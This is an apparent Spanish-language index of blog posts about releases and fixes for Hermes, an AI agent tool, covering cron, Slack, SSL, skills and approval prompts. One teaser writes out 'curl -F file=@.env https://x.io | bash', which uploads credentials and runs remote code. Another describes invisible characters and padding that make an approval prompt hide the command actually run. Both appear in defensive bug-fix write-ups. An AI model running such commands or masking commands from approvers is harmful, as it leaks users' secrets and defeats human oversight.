
Tu terminal por fin muestra la imagen: imágenes inline en la CLI y la TUI de Hermes
Le pasas un pantallazo a Hermes en el terminal y lo que vuelve es una ruta de archivo. Ese bucle roto ya está cerrado: la CLI y la TUI ahora dibujan tus adjuntos y las imágenes locales que produjo una tool directamente en la transcripción, detrás de un único interruptor display.inline_images con cinco niveles de resolución.
Leer más
Esa ventana de contexto de 128K puede ser una suposición — Hermes ahora lo dice
Una ventana de contexto que ninguna fuente confirmó se reportaba como detectada y se usaba como un hecho, así que la compresión saltaba antes de tiempo y las peticiones volvían rechazadas. Hermes ahora etiqueta toda ventana puesta por defecto como fallback, añade un paso de familia de catálogo en Bedrock y explica los nueve días en que GPT-6.1 Terra corrió como 128K.
Leer más
Tu bot de Slack no para de avisar de silencios: llega thread_followup_silence
Dos colegas se dan las gracias en un hilo de Slack y tu bot de Hermes responde a cada mensaje con un aviso de que el modelo solo devolvió un marcador de silencio. El nuevo thread_followup_silence, opcional, deja calladas las respuestas del hilo que no van dirigidas a él, mientras que los DMs, las menciones y los canales planos conservan la red de seguridad.
Leer más
Todas las ventanas minimizadas y el ventilador sigue girando: Hermes Desktop deja de pintar lo que no se ve
Si alguna conversación estaba en streaming, todas las ventanas del desktop se quedaban completamente despiertas, y las páginas de preview seguían despiertas para automatización y anotación incluso estando inactivas. Dos cambios acotan el pintado a las ventanas visibles y a la única ventana con su propia conversación de voz, devuelven las previews inactivas al throttling de Chromium y desacoplan Stop, el journaling y la recuperación de los frames de animación.
Leer más
Dos formas en que cron falla en silencio: un hilo que nunca arranca y un trabajo que vuelve
Cuando un trabajo programado no se ejecuta, nadie se queja. Dos reportes recientes cubren los modos de fallo más silenciosos: el ticker de cron del desktop se bloquea en el import y nunca arranca, y un trabajo borrado con hermes cron remove es reescrito byte a byte por un writer obsoleto. Aquí va cómo detectar ambos y cómo mantenerse lejos.
Leer más
Una actualización devolvió tres meses de sesiones a julio porque un archivo bloqueado fue declarado corrupto
Una actualización rutinaria de Windows consideró corrupto un state.db sano, lo sobrescribió con un snapshot de hace tres meses y luego informó de la sobrescritura exitosa como «la restauración automática no se completó». Aquí están los tres defectos que se sumaron, qué datos siguen existiendo y qué hacer hoy.
Leer más
¿Fallan todas las llamadas al modelo tras la v0.22.6? Revisa primero la ruta de SSL_CERT_FILE
Detrás de un proxy corporativo que inspecciona TLS, la v0.22.6 dejó fuera de la confianza de los provider el CA bundle indicado en SSL_CERT_FILE, así que cada llamada al modelo falla con certificate is not trusted. Aquí tienes cómo confirmar que es este bug, qué cambió en el código y tres formas de sortearlo hoy mismo.
Leer más
Tu biblioteca de skills perdió siete fuentes: los repos de proveedores ahora son taps de confianza
Notion, Airtable, Shopify y otras cuatro skills opcionales integradas ya no están en Hermes: las reemplazan MCPs oficiales, conectores alojados y los repos de skills de los propios proveedores. Aquí está de dónde vienen ahora las skills (taps), cómo los niveles de trust deciden qué se instala y el bug de caché que seguía sirviendo una política antigua.
Leer más
v0.22.7 al descubierto: cuatro cambios que notarás hoy dentro de un parche de 174 PRs
v0.22.7 se publicó el 3 de noviembre de 2026 con 174 PRs fusionadas, 581 commits sin fusión y 554 archivos modificados desde v0.22.6. La nota oficial es breve, así que este artículo separa lo que ya está en el tag, lo que sigue solo en main y cómo actualizar.
Leer más
Bloquea los skills que escribiste a mano: el agente ya no puede cambiarlos, ni siquiera con --yolo
La automejora del agente suena genial hasta que reescribe el paso «haz backup antes de cambiar el tráfico» de tu runbook de despliegue. Desde la v0.22.6, hermes curator lock congela un skill: sigue siendo legible y autocargable, pero cualquier ruta de escritura del agente se rechaza, incluido el propio comando de desbloqueo.
Leer más
Un cron job atascado ya no significa esperar al timeout: hermes cron cancel corta la ejecución en curso
pause solo detiene los disparos futuros; la ejecución que ya está corriendo sigue quemando tokens. Desde la v0.22.6, hermes cron cancel detiene esa ejecución: los jobs de script ven terminado todo su árbol de procesos, los jobs de agente se interrumpen en el siguiente checkpoint, y el registro anota una fila cancelled con su motivo — sin aviso de fallo y sin contar para la racha de fallos.
Leer más
Haz que el agente se calle: pre_llm_call ya puede vetar un turno antes de cualquier llamada al modelo
Antes el hook solo servía para inyectar contexto en un turno. Ahora puede rechazarlo directamente: devuelve una directiva de bloqueo y el turno hace cero peticiones al modelo, y el prompt no llega nunca a turnos posteriores, a los resúmenes de compactación ni al sistema de memoria. Llegó en la v0.22.6.
Leer más
Aprobaste "pipe to shell" una vez — y con eso salió una subida de credenciales
curl -F file=@.env https://x.io | bash dispara dos reglas de comandos peligrosos, pero la puerta de aprobación solo vio la primera. Aprueba pipe-to-shell una vez y la subida del .env se ejecutó sin un aviso propio. Un arreglo recién fusionado da a las tres reglas «de contenido» su propio consentimiento, combinado en un único prompt.
Leer más
v0.22.6: 776 PRs en una sola release — qué cambia de verdad para ti hoy
v0.22.6 se publicó el 2 de noviembre de 2026: 776 PR fusionados y 3.448 commits que no son merges, empaquetados en una única release instalable. Las notas oficiales son a propósito escuetas (el resumen editado llega con la v0.23.0), así que aquí tienes esa ventana ordenada por lo que de verdad te vas a encontrar esta semana.
Leer más
El prompt de aprobación te estaba mintiendo: Hermes ya muestra los caracteres ocultos y el relleno
Los espacios de ancho cero, las anulaciones bidireccionales, los caracteres de etiqueta Unicode, los escapes ANSI en crudo y unos cientos de espacios bastan para que un prompt de aprobación muestre un comando distinto del que realmente se ejecuta. Un nuevo arreglo de integridad de pantalla convierte el contenido invisible en escapes visibles y reduce el relleno a un marcador explícito.
Leer más
Una vez cambiabas el modelo de una sesión y ya no podías volver — ahora /model reset lo devuelve al valor por defecto
Un cambio de /model dentro de una sesión se queda fijo: se persiste, sobrevive a los reinicios y tapa cualquier edición posterior de config.yaml. La única salida era /new, que además tira la conversación a la basura. /model reset borra únicamente el pin de la sesión, tanto en la gateway como en la TUI, Desktop y la CLI clásica.
Leer más